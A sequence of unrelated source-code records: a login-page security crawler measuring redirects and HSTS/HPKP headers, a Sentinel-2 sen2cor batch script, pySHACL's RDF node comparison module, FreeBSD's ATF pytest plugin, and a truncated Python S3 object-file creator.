urls\n\n # Find embed resources\n elements = page.mainFrame().findAllElements('embed')\n pairs = [(s.attribute(\"src\", \"\").strip(), s.attribute(\"type\", \"\").strip(), s.attribute(\"integrity\", \"\")) for s in elements]\n urls = {}\n for (s, t, sri) in pairs:\n logging.debug(\"Detected Embed: {} {} {}\".format(s,t,sri))\n nsri = (sri!=\"\")\n if s != \"\":\n nt = \"\"\n if \"flash\" in t.lower():\n nt = \"flash\"\n if t == \"\" and s.lower().endswith(\".swf\"):\n nt = \"flash\"\n\n if \"java\" in t.lower():\n nt = \"java\"\n if t == \"\" and s.lower().endswith((\".jar\", \".class\", \".jnlp\")):\n nt = \"java\"\n\n if t == \"\" and s.lower().endswith(\".xap\"):\n nt = \"silverlight\"\n \n if nt != \"\":\n nd = urljoin(url, s)\n urls[nd] = {\"sri\": nsri, \"type\": nt, \"uir\": uir, \"bamc\": bamc}\n\n outdata[\"embed\"] = urls\n\n # Find applet resources\n elements = page.mainFrame().findAllElements('applet')\n pairs = [(s.attribute(\"archive\", \"\").strip(), s.attribute(\"code\", \"\").strip(), s.attribute(\"codebase\", \"\").strip(), s.attribute(\"object\", \"\").strip(), s.attribute(\"src\", \"\").strip(), s.attribute(\"integrity\", \"\")) for s in elements]\n urls = []\n for (a, c1, c2, o, s, sri) in pairs:\n logging.debug(\"Detected Applet: {} {} {} {} {} {}\".format(a, c1, c2, o, s, sri))\n nsri = (sri!=\"\")\n [a, c1, c2, o, s] = [urljoin(url, x) if x != \"\" else \"\" for x in [a, c1, c2, o, s]]\n if (a, c1, c2, o, s) != (\"\", \"\", \"\", \"\", \"\"):\n urls.append((a, c1, c2, o, s, sri, uir, bamc))\n\n outdata[\"applet\"] = urls\n\n # augment the resource data with redirects\n for (k,v) in outdata.items():\n # we don't care about applets since they are like voodoo when it comes to specifying URL\n if k != \"applet\":\n for (u,v2) in v.items():\n v2[\"redirectchain\"] = self.buildNetworkTrace(u, page)\n\n return outdata\n#}}}\n def justFindPWFields(self, data): #{{{\n passwordfields = data[\"self\"].mainFrame().evaluateJavaScript(\"jaek_getPWFields()\")\n\n if passwordfields:\n for rec in passwordfields:\n if rec[\"formTarget\"]:\n rec[\"formTarget\"] = urljoin(rec[\"frame\"], rec[\"formTarget\"])\n else:\n rec[\"formTarget\"] = None\n self.pwFields = passwordfields\n\n### print(pprint.pformat(mydata))\n### passwordfields = data[\"self\"].mainFrame().findAllElements('input[@type=\"password\"]')\n### self.pwFields = {}\n### for pwf in passwordfields:\n### xpath = pwf.evaluateJavaScript(\"getXPath(this)\")\n### isvis = pwf.evaluateJavaScript(\"jaek_isVisible(this)\")\n### formtarget = pwf.evaluateJavaScript(\"jaek_FormTargetFromPW(this)\")\n### taintedcss = pwf.evaluateJavaScript(\"jaek_hastaintedCSS(this)\")\n### if formtarget:\n### formtarget = urljoin(base, formtarget)\n### else:\n### formtarget = None\n### self.pwFields[xpath] = {\n### \"isVisible\": isvis,\n### \"formTarget\": formtarget,\n### \"taintedCSS\": taintedcss\n### }\n #}}}\n def handle(self, data, errorcode): #{{{\n self.initclick = data[\"element_to_click\"]\n self.preclicks = data[\"pre_clicks\"]\n self.url = data[\"webpage\"].url\n\n #data[\"self\"].screenshot(\"debugscreenshot.png\")\n\n base = data[\"self\"].mainFrame().baseUrl().toString()\n for x in data[\"self\"].mainFrame().findAllElements('a'):\n href = x.attribute(\"href\", None)\n txt = x.toPlainText()\n if href != None:\n self.links.append( (urljoin(base, href), txt) )\n\n self.justFindPWFields(data)\n logging.debug(\"Logging something so that jAEK doesn't crap out...\")\n\n ####################\n # Building the information about the main page redirect chain\n ####################\n self.mainRedirectChain = self.buildNetworkTrace(self.origurl, data[\"self\"])\n\n ####################\n # Detect if any out-of-band authentication was used. \n # For authentication in HTTP, we check www-authenticate\n # For SSL-based authentication, we log the hostname:port and do a check afterwards\n ####################\n\n for r in self.mainRedirectChain:\n if \"headers\" in r and \"url\" in r and r[\"headers\"] != None:\n h = r[\"headers\"]\n\n authtypes = list(set([v.split(\" \")[0].lower() for (k,v) in h.items() if k.lower() == \"WWW-Authenticate\".lower()]))\n for a in authtypes:\n logging.debug(\"AuthType {} by {}\".format(a, r[\"url\"]))\n self.observeStuff(\"authtypes\", a)\n\n if \"sslinfo\" in r and \"url\" in r and r[\"sslinfo\"] != None:\n urlparts = urlparse(r[\"url\"])\n if urlparts.scheme.lower() == \"https\":\n netloc = \"{}:{}\".format(urlparts.hostname, urlparts.port if urlparts.port != None else 443)\n self.observeStuff(\"sslhostports\", netloc)\n\n # Can we exit jAEk at this point?\n # if we are on the same domain and this page has pwfields, then yes\n if len(self.pwFields) > 0:\n if not self.urlInDomain(self.url):\n logging.debug(\"Found a login page, but not in domain {}: {}\".format(self.url, self.domain))\n else:\n #data[\"self\"].screenshot(\"screenshot.png\")\n if self.hasResult() and self.autoExitFilename != None:\n res = self.getResult()\n # these will be bogus when running jAEk because it doesn't reset the arrays on every page\n res[\"redirectPageResources\"] = None\n res[\"links\"] = None\n with open(self.autoExitFilename, 'w') as outfile:\n json.dump(res, outfile)\n sys.exit(0)\n\n self.resultFlag = True\n#}}}\n def handleRedirectPage(self, url, data): #{{{\n if url == None:\n return\n\n if url not in self.redirectPageResources:\n x = self.getResourceData(url, data)\n self.redirectPageResources[url] = x\n else:\n logging.debug(\"Afterclickhandler: not logging resources for URL {}, since we already visited it earlier.\".format(url))\n#}}}\n def buildNetworkTrace(self, url, data): #{{{\n '''\n From the supplied data, reconstruct the redirect chain with HTTP headers and SSL information for each hop.\n This information also includes a set of flags that can help determine whether a resource is loaded securely or not.\n Returns a list\n '''\n out = []\n currurl = url\n nextcode = None\n redirectlist = []\n\n networkdata = data.getLoggedNetworkData()\n\n while currurl != None:\n h = networkdata[\"headers\"][currurl] if currurl in networkdata[\"headers\"] else None\n s = networkdata[\"sslinfo\"][currurl] if currurl in networkdata[\"sslinfo\"] else None\n nextcode = networkdata[\"redirects\"][currurl][\"httpcode\"] if currurl in networkdata[\"redirects\"] else None\n redirectlist += [currurl]\n nexturl = networkdata[\"redirects\"][currurl][\"url\"] if currurl in networkdata[\"redirects\"] else None\n\n # HTTP Strict Transport Security\n hstspreload = self.HSTSPreloadListChecker.urlInList(currurl)\n hstsZeroAge = False\n hstsIncludeSubs = False\n hstsset = False\n if h != None:\n hstsheaders = [v for (k,v) in h.items() if k.lower() == \"strict-transport-security\"]\n hstsZeroAge = any(\"max-age=0\" in l.lower() for l in hstsheaders)\n hstsIncludeSubs = any(\"includesubdomains\" in l.lower() for l in hstsheaders)\n hstsset = len(hstsheaders) > 0\n\n # HTTP Public Key Pins\n hpkpZeroAge = False\n hpkpIncludeSubs = False\n hpkpset = False\n if h != None:\n hpkpheaders = [v for (k,v) in h.items() if k.lower() == \"public-key-pins\"]\n hpkpZeroAge = any(\"max-age=0\" in l.lower() for l in hpkpheaders)\n hpkpIncludeSubs = any(\"includesubdomains\" in l.lower() for l in hpkpheaders)\n hpkpset = len(hpkpheaders) > 0\n\n out.append({\n \"url\": currurl,\n \"nexturl\": nexturl,\n \"headers\": h,\n \"sslinfo\": s,\n \"nextRedirectViaHttpcode\": nextcode,\n \"loadSucceeded\": h != None and h != {},\n \"HSTSPreload\": hstspreload,\n \"HSTSSet\": hstsset,\n \"HSTSZeroAge\": hstsZeroAge,\n \"HSTSIncludeSubs\": hstsIncludeSubs,\n \"HPKPSet\": hpkpset,\n \"HPKPZeroAge\": hpkpZeroAge,\n \"HPKPIncludeSubs\": hpkpIncludeSubs,\n })\n\n currurl = nexturl\n if currurl in redirectlist:\n logging.debug(\"Redirect chain loops back to {} -> stopping loop\".format(currurl))\n currurl = None\n\n return out\n#}}}\n def urlInDomain(self, url): #{{{\n urlparts = urlparse(url)\n hostname = \".\" + urlparts.netloc.split(\":\")[0]\n\n return hostname.endswith(\".\"+self.domain)\n #}}}\n def observeStuff(self, t, val): #{{{\n indata = {}\n fn = \"{}.json\".format(t)\n try:\n indata = json.load(open(fn))\n except:\n pass\n\n if val not in indata:\n indata[val] = 0\n indata[val] += 1\n\n logging.debug(\"Observing '{}' value '{}'\".format(t, val))\n\n with open(fn, \"w\") as fp:\n json.dump(indata, fp)\n #}}}\n def handleAlert(self, msg): #{{{\n #logging.info(\"LoginPageChecker got ALERT: {}\".format(msg))\n try:\n data = json.loads(base64.b64decode(msg.split(\" \")[1]).decode())\n self.alerts.add(hashabledict(data))\n #logging.debug(pprint.pformat(self.alerts))\n except Exception as e:\n logging.debug(\"Could not parse alert {}\".format(e))\n #}}}\n#}}}\n\nclass ScreenshotTaker(BaseAfterClicksHandler): #{{{\n def __init__(self):\n self.counter = 0\n\n def handle(self, data, errorcode):\n logging.info(\"Sleeping 5 seconds...\")\n sleep(5)\n logging.info(\"Taking screenshot of {}\".format(data[\"webpage\"].url))\n data[\"self\"].screenshot(\"replay{}.png\".format(self.counter))\n self.counter += 1\n#}}}\n\n","repo_name":"StevenVanAcker/loginpages-jaek","sub_path":"crawler/afterclickshandlers.py","file_name":"afterclickshandlers.py","file_ext":"py","file_size_in_byte":18231,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"74810827888","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nSpyder Editor\r\n\r\nThis is a temporary script file.\r\n\"\"\"\r\n\r\n\r\nimport os\r\nimport glob\r\n\r\ndef proc_sen2cor(in_dir, f_pattern = '*MSIL1C*SAFE'):\r\n \"\"\"\r\n calls sen2cor to perform atm cor on Sentinel 2A/B L1C data\r\n \r\n Parameters:\r\n ----\r\n in_dir: str\r\n the folder where stitched photos are\r\n \"\"\" \r\n \r\n \r\n f_list = glob.glob(in_dir + f_pattern)\r\n \r\n for f in f_list:\r\n cmd='L2A_Process ' + f\r\n #cmd='L2A_Process ' + f + ' --resolution=10'\r\n #cmd='L2A_Process D:\\sen_test\\S2A_MSIL1C_20170101T182742_N0204_R127_T11SNS_20170101T182743.SAFE --resolution=10'\r\n os.system(cmd) \r\n","repo_name":"ybcheng/python","sub_path":"proc_sen2cor.py","file_name":"proc_sen2cor.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"24898750679","text":"# -*- coding: utf-8 -*-\n#\nimport datetime\nfrom typing import List\n\nimport rdflib\n\nfrom .consts import RDF_first, RDFS_Resource\nfrom .stringify import stringify_node\n\n# RDFLib 5.0+ has TOTAL_ORDER_CASTERS to force order on normally unorderable types,\n# like datetimes and times. We specifically _dont_ want that here when comparing literals.\n_FORCE_COMPARE_LITERAL_VALUE = [\n datetime.datetime,\n datetime.time,\n]\n\n\ndef compare_blank_node(graph1: rdflib.Graph, bnode1, graph2: rdflib.Graph, bnode2, recursion=0):\n if not isinstance(graph1, rdflib.Graph) or not isinstance(graph2, rdflib.Graph):\n raise RuntimeError(\"Comparing blank nodes, graph1 and graph2 must must be RDFLib Graphs\")\n if not isinstance(bnode1, rdflib.BNode) or not isinstance(bnode2, rdflib.BNode):\n raise RuntimeError(\"Comparing blank nodes, bnode1 and bnode2 must must be RDFLib BNodes\")\n if recursion >= 10:\n return 1 # Cannot compare this deep\n\n def compare_list(l_node1, l_node2):\n # TODO, determine if lists must be ordered\n list_1_items = list(graph1.items(l_node1))\n list_2_items = list(graph2.items(l_node2))\n if len(list_1_items) > len(list_2_items):\n return 1\n elif len(list_2_items) > len(list_1_items):\n return -1\n eq = 0\n for i1 in list_1_items:\n found = None\n for i2 in list_2_items:\n eq = compare_node(graph1, i1, graph2, i2, recursion=recursion + 1)\n if eq == 0:\n found = i2\n break\n if found is not None:\n list_2_items.remove(found)\n else:\n eq = 1\n break\n return eq\n\n predicates1 = set(graph1.predicates(bnode1))\n predicates2 = set(graph2.predicates(bnode2))\n in_ps1_but_not_in_ps2: List = list()\n in_ps2_but_not_in_ps1: List = list()\n pred_objs_in_bnode1_but_not_bnode2: List = list()\n pred_objs_in_bnode2_but_not_bnode1: List = list()\n\n def return_eq(direction):\n nonlocal graph1, graph2, recursion, in_ps2_but_not_in_ps1, in_ps1_but_not_in_ps2\n nonlocal pred_objs_in_bnode1_but_not_bnode2, pred_objs_in_bnode2_but_not_bnode1\n if direction == 0:\n return direction\n if recursion <= 1:\n # TODO: Add a way to turn off this wall of text\n if direction < 0:\n print(\"BNode1 is smaller.\")\n else:\n print(\"BNode1 is larger.\")\n print(\"BNode1:\")\n print(stringify_node(graph1, bnode1))\n print(\"BNode2:\")\n print(stringify_node(graph2, bnode2))\n if len(in_ps1_but_not_in_ps2) > 0:\n print(\"In predicates of BNode1, but not in predicates of BNode2:\")\n for p in in_ps1_but_not_in_ps2:\n print(\"predicate: {}\".format(stringify_node(graph1, p)))\n if len(in_ps2_but_not_in_ps1) > 0:\n print(\"In predicates of BNode2, but not in predicates of BNode1:\")\n for p in in_ps2_but_not_in_ps1:\n print(\"predicate: {}\".format(stringify_node(graph2, p)))\n if len(pred_objs_in_bnode1_but_not_bnode2) > 0:\n print(\"In predicate/objects of BNode1, but not in predicate/objects of BNode2:\")\n for p, o in pred_objs_in_bnode1_but_not_bnode2:\n print(\"predicate: {} object: {}\".format(stringify_node(graph1, p), stringify_node(graph1, o)))\n if len(pred_objs_in_bnode2_but_not_bnode1) > 0:\n print(\"In predicate/objects of BNode2, but not in predicate/objects of BNode1:\")\n for p, o in pred_objs_in_bnode2_but_not_bnode1:\n print(\"predicate: {} object: {}\".format(stringify_node(graph2, p), stringify_node(graph2, o)))\n return direction\n\n if len(predicates1) < 1 and len(predicates2) < 1:\n return return_eq(0)\n elif len(predicates1) < 1:\n return return_eq(-1)\n elif len(predicates2) < 1:\n return return_eq(1)\n\n if RDF_first in predicates1 and RDF_first in predicates2:\n return compare_list(bnode1, bnode2)\n elif RDF_first in predicates1:\n return return_eq(1)\n elif RDF_first in predicates2:\n return return_eq(-1)\n\n bnode1_eq = 0\n for p1 in predicates1:\n if isinstance(p1, rdflib.URIRef):\n if p1 in predicates2:\n o1_list = list(graph1.objects(bnode1, p1))\n o2_list = list(graph2.objects(bnode2, p1))\n\n for o1 in o1_list:\n if o1 == RDFS_Resource:\n continue\n found = None\n for o2 in o2_list:\n eq = compare_node(graph1, o1, graph2, o2, recursion=recursion + 1)\n if eq == 0:\n found = o2\n break\n if found is not None:\n o2_list.remove(found)\n else:\n pred_objs_in_bnode1_but_not_bnode2.append((p1, o1))\n\n if len(pred_objs_in_bnode1_but_not_bnode2) > 0:\n bnode1_eq = 1\n else:\n in_ps1_but_not_in_ps2.append(p1)\n bnode1_eq = 1\n else:\n raise NotImplementedError(\"Don't know to compare non-uri predicates on a blank node.\")\n\n bnode2_eq = 0\n for p2 in predicates2:\n if isinstance(p2, rdflib.URIRef):\n if p2 in predicates1:\n o1_list = list(graph1.objects(bnode1, p2))\n o2_list = list(graph2.objects(bnode2, p2))\n\n for o2 in o2_list:\n if o2 == RDFS_Resource:\n continue\n found = None\n for o1 in o1_list:\n eq = compare_node(graph2, o2, graph1, o1, recursion=recursion + 1)\n if eq == 0:\n found = o1\n break\n if found is not None:\n o1_list.remove(found)\n else:\n pred_objs_in_bnode2_but_not_bnode1.append((p2, o2))\n\n if len(pred_objs_in_bnode2_but_not_bnode1) > 0:\n bnode2_eq = 1\n else:\n in_ps2_but_not_in_ps1.append(p2)\n bnode2_eq = 1\n else:\n raise NotImplementedError(\"Don't know to compare non-uri predicates on a blank node.\")\n\n if bnode1_eq == 0 and bnode2_eq == 0:\n return return_eq(0)\n if bnode1_eq == 1 and bnode2_eq == 1:\n return return_eq(2)\n if bnode1_eq == -1 and bnode2_eq == -1:\n return return_eq(-2)\n if bnode1_eq == 1 and bnode2_eq == 0:\n return return_eq(1)\n if bnode1_eq == 0 and bnode2_eq == 1:\n return return_eq(-1)\n if bnode1_eq == 0 and bnode2_eq == -1:\n return return_eq(1)\n if bnode1_eq == -1 and bnode2_eq == 0:\n return return_eq(-1)\n return return_eq(bnode1_eq)\n\n\ndef compare_literal(l1, l2):\n if l1.eq(l2):\n return 0\n # If we are not equal, but didn't get TypeError not NotImplementedError\n # then we know these are compatible/comparable datatypes already\n if l1.value.__class__ in _FORCE_COMPARE_LITERAL_VALUE:\n if l1.value == l2.value:\n return 0\n elif l1.value > l2.value:\n return 1\n elif l1 > l2:\n return 1\n return -1\n\n\ndef order_graph_literal(graph1: rdflib.Graph, lit1: rdflib.Literal, graph2: rdflib.Graph, lit2: rdflib.Literal):\n if not isinstance(graph1, rdflib.Graph) or not isinstance(graph2, rdflib.Graph):\n raise RuntimeError(\"Comparing ordered literals, graph1 and graph2 must must be RDFLib Graphs\")\n if not isinstance(lit1, rdflib.Literal) or not isinstance(lit2, rdflib.Literal):\n raise RuntimeError(\"Comparing ordered literals, lit1 and lit2 must must be RDFLib Literals\")\n try:\n order = compare_literal(lit1, lit2)\n except (TypeError, NotImplementedError):\n order = 1 # 1 = not-equal\n return order\n\n\ndef compare_node(graph1: rdflib.Graph, node1, graph2: rdflib.Graph, node2, recursion=0):\n if not isinstance(graph1, rdflib.Graph) or not isinstance(graph2, rdflib.Graph):\n raise RuntimeError(\"Comparing nodes, graph1 and graph2 must must be RDFLib Graphs\")\n if not isinstance(node1, rdflib.term.Identifier) or not isinstance(node2, rdflib.term.Identifier):\n raise RuntimeError(\"Comparing nodes, node1 and node2 must must be RDFLib Identifiers\")\n if isinstance(node1, rdflib.Literal) and isinstance(node2, rdflib.Literal):\n order = order_graph_literal(graph1, node1, graph2, node2)\n elif isinstance(node1, rdflib.Literal):\n order = 1 # node1 being a literal is greater\n elif isinstance(node2, rdflib.Literal):\n order = -1 # node2 being a literal is greater\n elif isinstance(node1, rdflib.BNode) and isinstance(node2, rdflib.BNode):\n order = compare_blank_node(graph1, node1, graph2, node2, recursion=recursion + 1)\n elif isinstance(node1, rdflib.BNode):\n order = 1 # node1 being a BNode is greater\n elif isinstance(node2, rdflib.BNode):\n order = -1 # node2 being a BNode is greater\n elif isinstance(node1, rdflib.URIRef) and isinstance(node2, rdflib.URIRef):\n s1 = str(node1)\n s2 = str(node2)\n if s1 > s2:\n order = 1\n elif s2 > s1:\n order = -1\n else:\n order = 0\n else:\n s1 = str(node1)\n s2 = str(node2)\n if s1 > s2:\n order = 1\n elif s2 > s1:\n order = -1\n else:\n order = 0\n return order\n","repo_name":"RDFLib/pySHACL","sub_path":"pyshacl/rdfutil/compare.py","file_name":"compare.py","file_ext":"py","file_size_in_byte":9761,"program_lang":"python","lang":"en","doc_type":"code","stars":218,"dataset":"github-code","pt":"20"} +{"seq_id":"33208469939","text":"import types\nfrom typing import Any\nfrom typing import Dict\nfrom typing import List\nfrom typing import NamedTuple\nfrom typing import Optional\nfrom typing import Tuple\n\nfrom atf_python.ktest import generate_ktests\nfrom atf_python.utils import nodeid_to_method_name\n\nimport pytest\nimport os\n\n\nclass ATFCleanupItem(pytest.Item):\n def runtest(self):\n \"\"\"Runs cleanup procedure for the test instead of the test itself\"\"\"\n instance = self.parent.cls()\n cleanup_name = \"cleanup_{}\".format(nodeid_to_method_name(self.nodeid))\n if hasattr(instance, cleanup_name):\n cleanup = getattr(instance, cleanup_name)\n cleanup(self.nodeid)\n elif hasattr(instance, \"cleanup\"):\n instance.cleanup(self.nodeid)\n\n def setup_method_noop(self, method):\n \"\"\"Overrides runtest setup method\"\"\"\n pass\n\n def teardown_method_noop(self, method):\n \"\"\"Overrides runtest teardown method\"\"\"\n pass\n\n\nclass ATFTestObj(object):\n def __init__(self, obj, has_cleanup):\n # Use nodeid without name to properly name class-derived tests\n self.ident = obj.nodeid.split(\"::\", 1)[1]\n self.description = self._get_test_description(obj)\n self.has_cleanup = has_cleanup\n self.obj = obj\n\n def _get_test_description(self, obj):\n \"\"\"Returns first non-empty line from func docstring or func name\"\"\"\n if getattr(obj, \"descr\", None) is not None:\n return getattr(obj, \"descr\")\n docstr = obj.function.__doc__\n if docstr:\n for line in docstr.split(\"\\n\"):\n if line:\n return line\n return obj.name\n\n @staticmethod\n def _convert_user_mark(mark, obj, ret: Dict):\n username = mark.args[0]\n if username == \"unprivileged\":\n # Special unprivileged user requested.\n # First, require the unprivileged-user config option presence\n key = \"require.config\"\n if key not in ret:\n ret[key] = \"unprivileged_user\"\n else:\n ret[key] = \"{} {}\".format(ret[key], \"unprivileged_user\")\n # Check if the framework requires root\n test_cls = ATFHandler.get_test_class(obj)\n if test_cls and getattr(test_cls, \"NEED_ROOT\", False):\n # Yes, so we ask kyua to run us under root instead\n # It is up to the implementation to switch back to the desired\n # user\n ret[\"require.user\"] = \"root\"\n else:\n ret[\"require.user\"] = username\n\n def _convert_marks(self, obj) -> Dict[str, Any]:\n wj_func = lambda x: \" \".join(x) # noqa: E731\n _map: Dict[str, Dict] = {\n \"require_user\": {\"handler\": self._convert_user_mark},\n \"require_arch\": {\"name\": \"require.arch\", \"fmt\": wj_func},\n \"require_diskspace\": {\"name\": \"require.diskspace\"},\n \"require_files\": {\"name\": \"require.files\", \"fmt\": wj_func},\n \"require_machine\": {\"name\": \"require.machine\", \"fmt\": wj_func},\n \"require_memory\": {\"name\": \"require.memory\"},\n \"require_progs\": {\"name\": \"require.progs\", \"fmt\": wj_func},\n \"timeout\": {},\n }\n ret = {}\n for mark in obj.iter_markers():\n if mark.name in _map:\n if \"handler\" in _map[mark.name]:\n _map[mark.name][\"handler\"](mark, obj, ret)\n continue\n name = _map[mark.name].get(\"name\", mark.name)\n if \"fmt\" in _map[mark.name]:\n val = _map[mark.name][\"fmt\"](mark.args[0])\n else:\n val = mark.args[0]\n ret[name] = val\n return ret\n\n def as_lines(self) -> List[str]:\n \"\"\"Output test definition in ATF-specific format\"\"\"\n ret = []\n ret.append(\"ident: {}\".format(self.ident))\n ret.append(\"descr: {}\".format(self._get_test_description(self.obj)))\n if self.has_cleanup:\n ret.append(\"has.cleanup: true\")\n for key, value in self._convert_marks(self.obj).items():\n ret.append(\"{}: {}\".format(key, value))\n return ret\n\n\nclass ATFHandler(object):\n class ReportState(NamedTuple):\n state: str\n reason: str\n\n def __init__(self, report_file_name: Optional[str]):\n self._tests_state_map: Dict[str, ReportStatus] = {}\n self._report_file_name = report_file_name\n self._report_file_handle = None\n\n def setup_configure(self):\n fname = self._report_file_name\n if fname:\n self._report_file_handle = open(fname, mode=\"w\")\n\n def setup_method_pre(self, item):\n \"\"\"Called before actually running the test setup_method\"\"\"\n # Check if we need to manually drop the privileges\n for mark in item.iter_markers():\n if mark.name == \"require_user\":\n cls = self.get_test_class(item)\n cls.TARGET_USER = mark.args[0]\n break\n\n def override_runtest(self, obj):\n # Override basic runtest command\n obj.runtest = types.MethodType(ATFCleanupItem.runtest, obj)\n # Override class setup/teardown\n obj.parent.cls.setup_method = ATFCleanupItem.setup_method_noop\n obj.parent.cls.teardown_method = ATFCleanupItem.teardown_method_noop\n\n @staticmethod\n def get_test_class(obj):\n if hasattr(obj, \"parent\") and obj.parent is not None:\n if hasattr(obj.parent, \"cls\"):\n return obj.parent.cls\n\n def has_object_cleanup(self, obj):\n cls = self.get_test_class(obj)\n if cls is not None:\n method_name = nodeid_to_method_name(obj.nodeid)\n cleanup_name = \"cleanup_{}\".format(method_name)\n if hasattr(cls, \"cleanup\") or hasattr(cls, cleanup_name):\n return True\n return False\n\n def _generate_test_cleanups(self, items):\n new_items = []\n for obj in items:\n if self.has_object_cleanup(obj):\n self.override_runtest(obj)\n new_items.append(obj)\n items.clear()\n items.extend(new_items)\n\n def expand_tests(self, collector, name, obj):\n return generate_ktests(collector, name, obj)\n\n def modify_tests(self, items, config):\n if config.option.atf_cleanup:\n self._generate_test_cleanups(items)\n\n def list_tests(self, tests: List[str]):\n print('Content-Type: application/X-atf-tp; version=\"1\"')\n print()\n for test_obj in tests:\n has_cleanup = self.has_object_cleanup(test_obj)\n atf_test = ATFTestObj(test_obj, has_cleanup)\n for line in atf_test.as_lines():\n print(line)\n print()\n\n def set_report_state(self, test_name: str, state: str, reason: str):\n self._tests_state_map[test_name] = self.ReportState(state, reason)\n\n def _extract_report_reason(self, report):\n data = report.longrepr\n if data is None:\n return None\n if isinstance(data, Tuple):\n # ('/path/to/test.py', 23, 'Skipped: unable to test')\n reason = data[2]\n for prefix in \"Skipped: \":\n if reason.startswith(prefix):\n reason = reason[len(prefix):]\n return reason\n else:\n # string/ traceback / exception report. Capture the last line\n return str(data).split(\"\\n\")[-1]\n return None\n\n def add_report(self, report):\n # MAP pytest report state to the atf-desired state\n #\n # ATF test states:\n # (1) expected_death, (2) expected_exit, (3) expected_failure\n # (4) expected_signal, (5) expected_timeout, (6) passed\n # (7) skipped, (8) failed\n #\n # Note that ATF don't have the concept of \"soft xfail\" - xpass\n # is a failure. It also calls teardown routine in a separate\n # process, thus teardown states (pytest-only) are handled as\n # body continuation.\n\n # (stage, state, wasxfail)\n\n # Just a passing test: WANT: passed\n # GOT: (setup, passed, F), (call, passed, F), (teardown, passed, F)\n #\n # Failing body test: WHAT: failed\n # GOT: (setup, passed, F), (call, failed, F), (teardown, passed, F)\n #\n # pytest.skip test decorator: WANT: skipped\n # GOT: (setup,skipped, False), (teardown, passed, False)\n #\n # pytest.skip call inside test function: WANT: skipped\n # GOT: (setup, passed, F), (call, skipped, F), (teardown,passed, F)\n #\n # mark.xfail decorator+pytest.xfail: WANT: expected_failure\n # GOT: (setup, passed, F), (call, skipped, T), (teardown, passed, F)\n #\n # mark.xfail decorator+pass: WANT: failed\n # GOT: (setup, passed, F), (call, passed, T), (teardown, passed, F)\n\n test_name = report.location[2]\n stage = report.when\n state = report.outcome\n reason = self._extract_report_reason(report)\n\n # We don't care about strict xfail - it gets translated to False\n\n if stage == \"setup\":\n if state in (\"skipped\", \"failed\"):\n # failed init -> failed test, skipped setup -> xskip\n # for the whole test\n self.set_report_state(test_name, state, reason)\n elif stage == \"call\":\n # \"call\" stage shouldn't matter if setup failed\n if test_name in self._tests_state_map:\n if self._tests_state_map[test_name].state == \"failed\":\n return\n if state == \"failed\":\n # Record failure & override \"skipped\" state\n self.set_report_state(test_name, state, reason)\n elif state == \"skipped\":\n if hasattr(reason, \"wasxfail\"):\n # xfail() called in the test body\n state = \"expected_failure\"\n else:\n # skip inside the body\n pass\n self.set_report_state(test_name, state, reason)\n elif state == \"passed\":\n if hasattr(reason, \"wasxfail\"):\n # the test was expected to fail but didn't\n # mark as hard failure\n state = \"failed\"\n self.set_report_state(test_name, state, reason)\n elif stage == \"teardown\":\n if state == \"failed\":\n # teardown should be empty, as the cleanup\n # procedures should be implemented as a separate\n # function/method, so mark teardown failure as\n # global failure\n self.set_report_state(test_name, state, reason)\n\n def write_report(self):\n if self._report_file_handle is None:\n return\n if self._tests_state_map:\n # If we're executing in ATF mode, there has to be just one test\n # Anyway, deterministically pick the first one\n first_test_name = next(iter(self._tests_state_map))\n test = self._tests_state_map[first_test_name]\n if test.state == \"passed\":\n line = test.state\n else:\n line = \"{}: {}\".format(test.state, test.reason)\n print(line, file=self._report_file_handle)\n self._report_file_handle.close()\n\n @staticmethod\n def get_atf_vars() -> Dict[str, str]:\n px = \"_ATF_VAR_\"\n return {k[len(px):]: v for k, v in os.environ.items() if k.startswith(px)}\n","repo_name":"freebsd/freebsd-src","sub_path":"tests/atf_python/atf_pytest.py","file_name":"atf_pytest.py","file_ext":"py","file_size_in_byte":11531,"program_lang":"python","lang":"en","doc_type":"code","stars":7183,"dataset":"github-code","pt":"20"} +{"seq_id":"9328299083","text":"#!/usr/bin/python3\n\nimport os\nimport sys\n\nfrom utils import UUID_to_PrefixUUID, \\\n get_uuid, \\\n get_all_file_dir, \\\n make_dir\n\n\"\"\"\nS3(ObjectStorage)向けのオブジェクトファイルを作成する\n\n<使い方>\npython3 s3_object_creator.py <対象ディレクトリの絶対パス> <出力先ディレクトリの絶対パス>\n\"\"\"\n\n# 対象ディレクトリ(ルート)のUUID\nROOT_DIR_UUID = '00000000-0000-0000-0000-000000000001'\n\n# 種別(レギュラーファイル)\nTYPE_REGULAR_FILE = 4\n\n# 種別(ディレクトリ)\nTYPE_DIRECTORY = 10\n\n\ndef create_object_file(\n output_dir_path: str,\n target: str,\n uuid_map: dict,\n uuid: str,\n is_dir=True\n) -> dict:\n \"\"\"\n オブジェクトファイルを作成する\n\n <ディレクトリの場合>\n ディレクトリエントリリストファイルを作成\n ファイル名:UUID\n ファイル内容:\n key=Prefix UUID\n body=対象ディレクトリ直下のファイル・ディレクトリの情報\n ファイルの場合 :UUID + \"/\" + ファイル名 + \"/\" + \"4\"\n ディレクトリの場合:UUID + \"/\" + ディレクトリ名 + \"/\" + \"10\"\n\n <ファイルの場合>\n ファイル名:UUID\n ファイル内容:\n key=Prefix UUID\n body=ファイル名\n \"\"\"\n\n ret_dict = uuid_map\n\n # ディレクトリのUUIDをマップに登録\n if uuid not in ret_dict:\n ret_dict[uuid] = target\n\n # UUIDでファイルを作成\n # TODO:本来であればPrefix UUIDでファイル名を作成すべきだが\"/\"があるので不可。\n parent_file = os.path.join(output_dir_path, uuid)\n with open(parent_file, mode='a') as f:\n\n f.write(f'key={UUID_to_PrefixUUID(uuid)}{os.linesep}')\n f.write(f'body={os.linesep}')\n\n body = \"\"\n\n if is_dir is True:\n # ディレクトリの場合\n # 親ディレクトリ直下のファイル・ディレクトリを取得\n sub = get_all_file_dir(target, sub_dir=False)\n for item in sub:\n # UUIDをマップに登録\n sub_uuid = get_uuid()\n ret_dict[sub_uuid] = item.rstrip(os.sep)\n\n name = os.path.basename(item)\n type = TYPE_REGULAR_FILE\n if os.path.isdir(item):\n type = TYPE_DIRECTORY\n\n body = body + f'{sub_uuid}/{name}/{type}{os.linesep}'\n else:\n body = f'{os.path.basename(target)}'\n\n f.write(body)\n\n return 